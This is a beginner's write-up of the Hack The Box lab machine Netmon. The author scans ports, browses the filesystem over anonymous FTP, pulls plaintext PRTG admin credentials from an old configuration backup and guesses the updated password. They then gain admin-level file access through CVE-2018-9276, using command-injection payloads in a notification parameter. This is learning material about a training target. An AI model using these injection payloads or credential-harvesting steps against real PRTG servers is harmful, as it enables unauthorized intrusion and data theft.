

Write up for Hack The Box :: Netmon

<https://www.hackthebox.eu/home/machines/profile/177>

Preface: this was my first ever HTB machine and first real hands on real-life based CTF.

This hack the box challenge is a windows-based machine that has a user.txt flag and a root.txt flag. To connect to the box, I had to first setup the VPN on the Kali Linux Machine that was running on a VM. After this I pinged the machine to ensure that it was online, and then I conducted a port scan using Nmap to see what ports were open.

```
root@kali:/# ping 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=627 ms
64 bytes from 10.10.10.152: icmp_seq=2 ttl=127 time=338 ms
64 bytes from 10.10.10.152: icmp_seq=3 ttl=127 time=447 ms
64 bytes from 10.10.10.152: icmp_seq=4 ttl=127 time=403 ms
^C
--- 10.10.10.152 ping statistics ---
5 packets transmitted, 4 received, 20% packet loss, time 7ms
rtt min/avg/max/mdev = 337.861/453.776/627.498/107.499 ms
root@kali:/# nmap 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 01:01 EDT
Nmap scan report for 10.10.10.152
Host is up (0.40s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
80/tcp    open  http
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 57.74 seconds
root@kali:/# 
```

We can see that there are 5 ports open, one of which is port 80 which is used for http communications. That means that this machine might be hosting a website. When I go into a browser and type in the machine's IP, I find that it is indeed hosting a web server. This probably means that at some point I will have to login through this website. A quick google search shows that the PRTG Network Monitor default admin credentials are *username=prtgadmin* and *password=prtgadmin*. Unfortunately, this login doesn't lead to any success.

PRTG Network Monitor (NETMON)

PRTG NETWORK MONITOR

Login Name _____

Password _____

[Login](#)

> Download Client Software (optional, for Windows, iOS, Android)
> Forgot password? > Need Help?

Thank You For Using PRTG Network Monitor

You are using the Freeware version of **PRTG Network Monitor**. We're glad to help you cover all aspects of the current state-of-the-art network monitoring! PRTG Network Monitor enables you to monitor **uptime**, traffic and bandwidth usage with only one tool. You can also create comprehensive data reports with the integrated reporting and analysis features. This makes PRTG a clear and simple monitoring solution for your entire network.

The software runs 24/7 to monitor your network. All you need is a computer with a Windows operating system. PRTG includes everything that you need in one installer, so you can start monitoring your network right away. The Software records bandwidth and network usage and stores the data in an integrated high-performance database. Add all the network devices that you want to monitor via an easy-to-use web-based interface and configure sensors that retrieve the desired data. You can create usage reports and provide colleagues and customers access to data graphs and tables according a sensible user management.

PRTG supports all common protocols to get network data: Simple Network Management Protocol (SNMP), Windows Management Instrumentation (WMI), Packet Sniffing, Cisco NetFlow and other vendor specific flow protocols, as well as SSH, SOAP and many other network protocols.

PRTG Network Monitor provides about 200 sensor types so you can start monitoring your standard systems directly after installation. These include monitoring Ping times, HTTP pages, SMTP, POP3, and IMAP mail servers, FTP servers, Linux systems, and many other hardware components and network services. You can easily monitor the performance of your network permanently to recognize imminent outages before they happen. You can also receive emails, SMS, or push messages immediately. PRTG constantly records performance data and downtimes in the database so you can compile reports about performance, downtimes, and SLAs at any time.

The Freeware Edition of PRTG Network Monitor is completely free for personal and commercial use. If you want to complete your monitoring or have larger networks, use one of our **Commercial Editions** that provide you with a suitable license.

More about [PRTG Network Monitor](#) and [Paessler - The Network Monitoring Company](#).

PAESSLER PRTG Network Monitor 18.1.37.19946

© 2018 Paessler AG

After noting this webpage, we can go back to the terminal and do a more in-depth scan of the other ports. This was done by using the **-A** option which enables OS detection, version detection, script scanning and traceroute, essentially providing more information about the services that the target is running. This reveals that some of the open ports allow anonymous ftp (File Transfer Protocol) which means that we can remotely connect to the box without a login and browse the file system as if we were a normal user.

```

root@kali:~/# nmap -A 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 01:13 EDT
Stats: 0:00:26 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.86% done; ETC: 01:13 (0:00:00 remaining)
Nmap scan report for 10.10.10.152
Host is up (0.39s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19 12:18AM           1024 .rnd
| 02-25-19 10:15PM           <DIR>    inetpub
| 07-16-16 09:18AM           <DIR>    PerfLogs
| 02-25-19 10:56PM           <DIR>    Program Files
| 02-03-19 12:28AM           <DIR>    Program Files (x86)
| 02-03-19 08:08AM           <DIR>    Users
| 02-25-19 11:49PM           <DIR>    Windows
| ftp-syst:
|_ SYST: Windows_NT
80/tcp    open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
| http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
| Requested resource was /index.htm
| http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
```

TCP/IP fingerprint:

```

OS:SCAN(V=7.70%D=4/11%T=21%CT=1%CU=39889%PV=Y%DS=2%DC=T%G=Y%TM=5CAECD3
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10A%TS=A)SEQ(SP=106%GCD=1%I
OS:SR=10A%CI=I%II=I%TS=A)SEQ(SP=106%GCD=1%TSR=10A%II=I%TS=A)OPS(01=M54DNW8S
OS:T11%02=M54DNW8ST11%03=M54DNW8NNT11%04=M54DNW8ST11%05=M54DNW8ST11%06=M54D
OS:ST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=
OS:80%W=2000%0=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+F=AS%RD=0%Q=)T2
OS:(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%0=%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%
OS:F=AR%0=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%0=%RD=0%Q=)T5(R=Y%DF=Y%
OS:T=80%W=0%S=Z%A=S+F=AR%0=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=0%F=R%0=%RD
OS:=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=AR%0=%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL
OS:=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)
```

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Additionally, we can see at the bottom that the machine is running on Windows Server 2008 R2. This may be handy for later. Next, we can easily connect to the machine using ftp. Since it allows anonymous ftp, we simply put anonymous as the name and anything (or nothing) as the password.

```

root@kali:~/Downloads# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp>
```

Next, we can start to browse the computer. Since it is a windows machine, the layout is relatively recognizable. My first aim is to find the user flag which should be accessible to low level users. I found the user.txt file quite easily:

```
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:18AM          1024 .rnd
02-25-19 10:15PM          <DIR>     inetpub
07-16-16 09:18AM          <DIR>     PerfLogs
02-25-19 10:56PM          <DIR>     Program Files
02-03-19 12:28AM          <DIR>     Program Files (x86)
02-03-19 08:08AM          <DIR>     Users
02-25-19 11:49PM          <DIR>     Windows
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-25-19 11:44PM          <DIR>     Administrator
02-03-19 12:35AM          <DIR>     Public
226 Transfer complete.
ftp> cd Public
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:05AM          <DIR>     Documents
07-16-16 09:18AM          <DIR>     Downloads
07-16-16 09:18AM          <DIR>     Music
07-16-16 09:18AM          <DIR>     Pictures
02-03-19 12:35AM          33 user.txt
07-16-16 09:18AM          <DIR>     Videos
226 Transfer complete.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
```

The `get` command in this stage means to download the files through ftp to my host machine. So, I can easily open the file.

Once I had downloaded the text file, finding the flag was as simple as running the `cat user.txt` command to view the contents.

That is the first part complete. Now that we have the hash of the user's flag we can start to try and get the root flag; this may be a little bit more difficult. Going back to that webpage, we can see that the machine is hosting a website for the *PRTG Network Monitor* login. Due to a lack of clues anywhere else in the machine's files, I am certain that the next step is to get admin access to this site. Doing some searching I can see that there have been many vulnerabilities in the past

on this page, although they seem to require admin access. Doing some more research, I find that there was a major issue in the program's logs which has passwords in plain text. This issue was addressed by the developers of the program, they instructed system admins to delete the old logs, in doing so deleting the plain text passwords. So, then my next step was to look for any hidden folders using `ls -la` which then led me to find the logs mentioned in my research.

```
root@kali:~/Downloads# ftp 10.10.10.152
Connected to 10.10.10.152.
220 Microsoft FTP Service
Name (10.10.10.152:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
04-11-19 01:17AM 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.
ftp> cd ProgramData
550 The system cannot find the file specified.
ftp> cd ProgramData
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
02-03-19 12:15AM <DIR> Licenses
11-20-16 10:36PM <DIR> Microsoft
02-03-19 12:18AM <DIR> Paessler
02-03-19 08:05AM <DIR> regid.1991-06.com.microsoft
07-16-16 09:18AM <DIR> SoftwareDistribution
02-03-19 12:15AM <DIR> TEMP
11-20-16 10:19PM <DIR> USOPrivate
11-20-16 10:19PM <DIR> USOShared
02-25-19 10:56PM <DIR> VMware
226 Transfer complete.
ftp> cd Paessler
250 CWD command successful.
ftp> ls
200 PORT command successful.
125 Data connection already open; Transfer starting.
04-11-19 01:20AM <DIR> PRTG Network Monitor
226 Transfer complete.
ftp> cd "PRTG Network Monitor"
250 CWD command successful.
ftp> ls
200 PORT command successful.
150 Opening ASCII mode data connection.
02-03-19 12:40AM <DIR> Configuration Auto-Backups
04-11-19 01:19AM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
04-11-19 01:19AM <DIR> Logs (Web Server)
02-25-19 08:01PM <DIR> Monitoring Database
02-25-19 10:54PM 1189697 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
04-11-19 01:20AM 1646881 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
ftp> 
```

The old logs are here, after downloading them I found that many of them contained information about admin logins, but with the passwords redacted. But, the oldest log file, `PRTG Configuration.old.bak` is where this information is, with admin credentials in plain text:

```
<dbpassword>
<!–User: prtgadmin -->
PrTg@dmin2018
</dbpassword>
```

Now that we have the admin credentials, we can try logging into the site once again. Although, these credentials don't seem to work. They don't work because they are outdated. As seen in the *PRTG Configuration.old.bak* details, it was made in 2018, but then the new logs were made in 2019. This means that in that time the password was updated, but very poorly. The password that worked was *PrTg@dmin2019*. An example of a very poor password. Now, **we are in!**

The screenshot shows the PRTG Network Monitor dashboard. At the top, there are navigation links: Home, Devices, Libraries, Sensors, Alarms, Maps, Reports, Logs, Tickets, and Setup. Above the main content area, there are four small status boxes: Down (4), Warning (1), Up (8), and Paused (2). A search bar and a power button icon are also at the top right.

Welcome PRTG System Administrator!

All Sensors: 15 (Status: 4 Down, 0 Acknowledged, 1 Warning, 8 Up, 2 Paused, 0 Unusual, 0 Unknown)

Current Alarms: 5 (Status: 4 Down, 0 Acknowledged, 1 Warning, 0 Unusual)

Update Available: Installed Version 18.1.37.13946 | Latest Version Available from Paessler 18.4.47.1962 (NEW) | Install Update

Your PRTG:

- View Results
- Install Smartphone App
- Download Enterprise Console
- Get Help and Support

License Status: 85 Sensors Available | [Buy PRTG](#)

Yesterday's Activity:

- 0 Sensor Scans Performed
- 0 Sensor State Changes
- 0 Notifications Sent
- 0 Reports Generated
- 0 Web Pages Seen

Open Tickets: [Switch to SSL](#)

PAESSLER 18.1.37.13946 PRTG System Administrator 0:42 Refresh in 20 sec | [Update Available](#) ? Help

From my previous research I found that there was an exploit for this page for versions before version 18.2.39, that means that this version of the program is vulnerable to [CVE-2018-9276](#).

To take advantage of the exploit I set up a new notification that would execute a program on the server. The only files available to do this were two defaults, a .bat and a .ps1. Additionally, we could set certain parameters in this execution. Unfortunately for the site, the parameter input wasn't sanitized, meaning that we could end the function and execute our own command. This functionality was tested using:

```
;echo test > c:/Users/Public/Documents/test.txt
```

This made a new file in the Documents directory. Fortunately, this file is accessible by the anonymous ftp user, so we could see that this file was made. The next step was to tell the server to move the root.txt file to an accessible directory. I did this using the parameter:

```
;copy c:/Users/Administrator/Desktop/root.txt c:/Users/Public/Documents/
```

This copies the flag to an accessible directory, now we simply must download the file and the box is complete. A few notes: I could have attempted to create a new user and give it admin access. This would have taken a bit longer and given the public nature of this machine, it is very difficult to get that far before a reset.

```
200 PORT command successful.  
125 Data connection already open; Transfer starting.  
02-03-19 12:35AM 33 root.txt  
226 Transfer complete.  
ftp> get root.txt  
local: root.txt remote: root.txt  
200 PORT command successful.  
125 Data connection already open; Transfer starting.  
eWARNING! 1 bare linefeeds received in ASCII mode  
File may not have transferred correctly.  
226 Transfer complete.  
33 bytes received in 0.45 secs (0.0714 kB/s)  
ftp> █
```

After downloading the file, it was as simple as running *cat root.txt* on my host machine to view the flag.